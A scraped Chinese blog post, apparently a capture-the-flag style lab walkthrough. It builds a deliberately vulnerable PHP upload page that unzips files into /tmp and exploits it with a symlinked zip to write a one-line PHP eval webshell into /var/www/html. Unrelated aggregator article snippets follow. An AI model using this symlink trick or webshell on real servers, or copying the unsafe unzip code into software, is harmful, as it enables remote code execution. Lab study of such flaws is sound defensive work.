UNZIP

news2024/11/15 13:49:43

目录

 搭建环境

 做题开始

通过ln直接创建

 通过mkdir 后进行ln


 搭建环境

这次是在自己的靶机环境里面搭建

cd /var/www/html

index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
  <form method="post" action="unzip.php" enctype="multipart/form-data">
    <input name="file" type="file">
    <input name="submit" type="submit">
  </form>
</body>
</html>

unzip.php

<?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

php -S 自己的ip:8080 -t /var/www/html

 这里我们就可以访问ip+端口

 做题开始

我们先随便上传一个文件

 发现代码

解读一下

<?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
如果是zip
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
就进入 tmp 然后解压并且覆盖
};

这就是解读出来的

这里就需要知道软连接

软连接
其实就是windows的快捷方式

我们使用命令 

ln -s 路径 文件夹

这样就可以让这个文件夹称为一个快捷方式

这里我们要注意 先不要建立文件夹 直接通过ln  自动创建文件夹

通过ln直接创建

 通过mkdir 后进行ln

 

 就是不一样的

然后我们因为要上传zip文件

然后需要保持 符号链接

zip -y test1.zip test  

-y 就是保持符号链接的压缩

我们先进行上传看看是否可以

在靶机的/tmp中 出现了test并且确实是软连接

那么我们思考一下

如果我们重新上传一个 test文件夹

但是这个test文件夹 和之前的文件夹并不一样 里面存在一个木马

那我们这个文件就是传到哪里呢

我们可以试试看

 rm -r test

mkdir test

cd test

echo '<?php eval($_POST[a]);?>' > a.php

cd ..

zip -q -r test2.zip test

然后进行上传

然后我们去看看靶机

 确实已经上传到 /var/www/html 目录中了

然后我们看看能不能链接

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/675304.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

罗技k380键盘教程

在智能手机和平板电脑上享受台式电脑般舒适便捷的输入体验。罗技蓝牙™ 多设备键盘 K380 是一款小巧独特的键盘&#xff0c;让您在家中任何地方都能使用个人设备进行沟通和创作。 借助便捷的易于切换™ 按钮&#xff0c;可以通过蓝牙™ 无线技术同时连接最多三台设备&#xff…

【LeetCode】动态规划 刷题训练(一)

文章目录 面试题 08.01. 三步问题题目解析状态转移方程完整代码 746. 使用最小花费爬楼梯题目解析状态转移方程完整代码 91. 解码方法题目解析状态转移方程情况1&#xff1a;让i位置的数&#xff0c;单独去解码情况2&#xff1a;让i位置的数 和i-1位置的数 结合 一起去解码 完整…

安全合规进入场景细分时代

2022年6月1日&#xff0c;《中华人民共和国网络安全法》&#xff08;以下简称《网络安全法》&#xff09;正式实施迎来5周年。 作为国家实施网络空间管辖的第一部法律&#xff0c;《网络安全法》标志着我国网络安全工作有了基础性的法律框架&#xff0c;意味着建设网络强国的制…

chatgpt赋能python:Python清空:如何在Python中使用清空来删除变量和数据结构中的所有元素

Python清空&#xff1a;如何在Python中使用清空来删除变量和数据结构中的所有元素 在Python编程中&#xff0c;我们常常需要删除变量和数据结构中的元素。Python提供了多种方法来实现这一点&#xff0c;其中最常用的方法之一就是使用清空功能。在本文中&#xff0c;我们将介绍…

【期末总复习】机器学习(公式推导与代码实现)鲁伟

【第一章】机器学习预备知识 1、了解机器学习的发展简史 2、复述出训练集、验证集和测试集的作用 训练集&#xff08;Training set&#xff09; 作用是用来拟合模型&#xff0c;通过设置分类器的参数&#xff0c;训练分类模型。后续结合验证集作用时&#xff0c;会选出同一参…

chatgpt赋能python:Python教程:求反向位置的字母

Python教程&#xff1a;求反向位置的字母 在这篇文章中&#xff0c;我们将介绍如何使用Python编程语言来找到给定字符串中的反向位置的字母。这是一个有趣的编程问题&#xff0c;特别是对于那些喜欢解决有趣问题的人来说&#xff0c;同时本文也将从SEO的角度来讲解如何优化文本…

LNMP搭建

一、编译安装nginx1.1 关闭防火墙&#xff0c;将安装nginx所需软件包传到/opt目录下并解压1.2 安装依赖包1.3 创建运行用户与组1.4 编译安装Nginx1.5 检查配置文件是否配置正确&#xff0c;并启动nginx服务 二、安装 MySQL 服务2.1 安装Mysql环境依赖包2.2 创建运行用户2.3 编译…

前端Vue自定义简单好用商品分类列表组件 侧边栏商品分类组件

前端Vue自定义简单好用商品分类列表组件 侧边栏商品分类组件 &#xff0c; 下载完整代码请访问uni-app插件市场地址&#xff1a;https://ext.dcloud.net.cn/plugin?id13148 效果图如下&#xff1a; # cc-defineCateList #### 使用方法 使用方法 <!-- data:商品列表数组…

C专家编程 —— 链接的思考

文章目录 编译器的作用动态链接和静态链接动态链接动态链接的优点 函数库链接的几个小秘密 编译器的作用 通常编译器被氛围六七个小的程序&#xff1a; C预处理器&#xff0c;得到main.i文件前端做语法语义分析&#xff0c;然后后端生成汇编的指令代码main.s文件优化器可以放…

Java-API简析_java.lang.SecurityManager类(基于 Latest JDK)(浅析源码)

【版权声明】未经博主同意&#xff0c;谢绝转载&#xff01;&#xff08;请尊重原创&#xff0c;博主保留追究权&#xff09; https://blog.csdn.net/m0_69908381/article/details/131346082 出自【进步*于辰的博客】 其实我的【Java-API】专栏内的博文对大家来说意义是不大的。…

【Python 基础篇】Python学生管理系统

文章目录 引言一、系统设计与功能分析二、系统设计与实现三、系统应用示例四、总结 引言 学生管理系统是一个常见的应用程序&#xff0c;它可以帮助学校、教育机构或教师管理学生的信息。本文将介绍如何使用面向对象编程思想&#xff0c;利用Python开发一个学生管理系统。系统…

源码编译 DolphinScheduler 1.3.9 海豚调度,修改Hadoop、Hive组件版本兼容

大前提&#xff1a; maven3 jdk8 环境 maven 私服换成国内镜像&#xff0c;推荐阿里云 maven 镜像 maven-3.6.3\conf\settings.xml <mirrors><mirror><id>aliyunmaven</id><mirrorOf>*</mirrorOf><name>阿里云公共仓库</name&g…

Android 13(T) - binder阅读(1)- binder driver

1 总览 想要使用binder完成进程间通信&#xff08;IPC&#xff09;或者完成远程过程调用&#xff08;RPC&#xff09;&#xff0c;那么我们需要有如下三个要素&#xff1a; 源&#xff1a;即调用者&#xff08;Client&#xff09;目的&#xff1a;即服务提供者&#xff08;Se…

win10 64位系统下载、安装nodejs(图文教程)

windows电脑下载、安装nodejs是很容易的&#xff0c;参考下面的图文教程&#xff0c;很快就能搞定下载安装. 1&#xff0c;下载nodejs 下载地址&#xff1a;https://nodejs.org/en/download/ 2&#xff0c;安装nodejs 点击安装包&#xff0c;一路下一步 3&#xff0c;验证…

设计模式—责任链模式

一、待解决问题&#xff1a; 减少代码中 if else 语句&#xff0c;降低代码圈复杂度或深度&#xff0c;增强可读性。 1、需求背景&#xff1a; 采购订单创建&#xff0c;需要验证采购员、物料、供应商、供应商的银行账号等信息。如采购员权限到期、或供应商失效等问题&#xff…

python机器学习——机器学习相关概念 特征工程

目录 机器学习特征工程1.特征抽取2.特征处理2.1 归一化&#xff1a;传统精确小数据2.2 标准化&#xff1a;大多数情况 3.数据降维3.1特征选择3.2主成分分析PCA 案例&#xff1a;超市订单分析 机器学习 监督学习&#xff1a;输入数据有特征有标签&#xff0c;即有标准答案 分类&…

chatgpt赋能python:Python求累加求和指南

Python求累加求和指南 Python是一种简单而强大的编程语言&#xff0c;从事编程工作的人大多都对它有一定的了解。它具有开发复杂应用程序的强大功能&#xff0c;同时也可以被用作数据处理和分析等用途。其中一个最常见的任务就是累加求和&#xff0c;今天我们将介绍如何在Pyth…

Redis 集合相关命令

Redis 支持多种数据结构&#xff0c;比如 字符串、列表、集合、有序集合 和 哈希 等数据结构。本次我整理了关于 集合 相关的命令&#xff0c;也就是关于 Sets 相关的命令&#xff0c;如下图。 上图中用红色圈中的部分&#xff0c;就是关于 集合 相关的命令。如果想要在 Redis …

JDBC小记——基础入门

目录 JDBC概念 JDBC入门 1. 导入数据库的驱动jar包 2. 加载驱动jar包 3. 获取连接对象 4. 获取操作对象 5.执行SQL语句 6.释放资源 IDEA连接数据库 结果集对象 登录练习 JDBC概念 Java DataBase Connectivity 即 Java数据库连接 JDBC&#xff0c;其实就是Java定义…

第7章 Scala集合

第7章 Scala集合 7.1 简介 ​ ​ scala.collection.immutable ​ scala.collection.mutable ​ 7.2 数组 ​ 不可变数组 package chapter07object Test01_ImmutableArray {def main(args: Array[String]): Unit {// 1. 创建数组val arr: Array[Int] new Array[Int](10…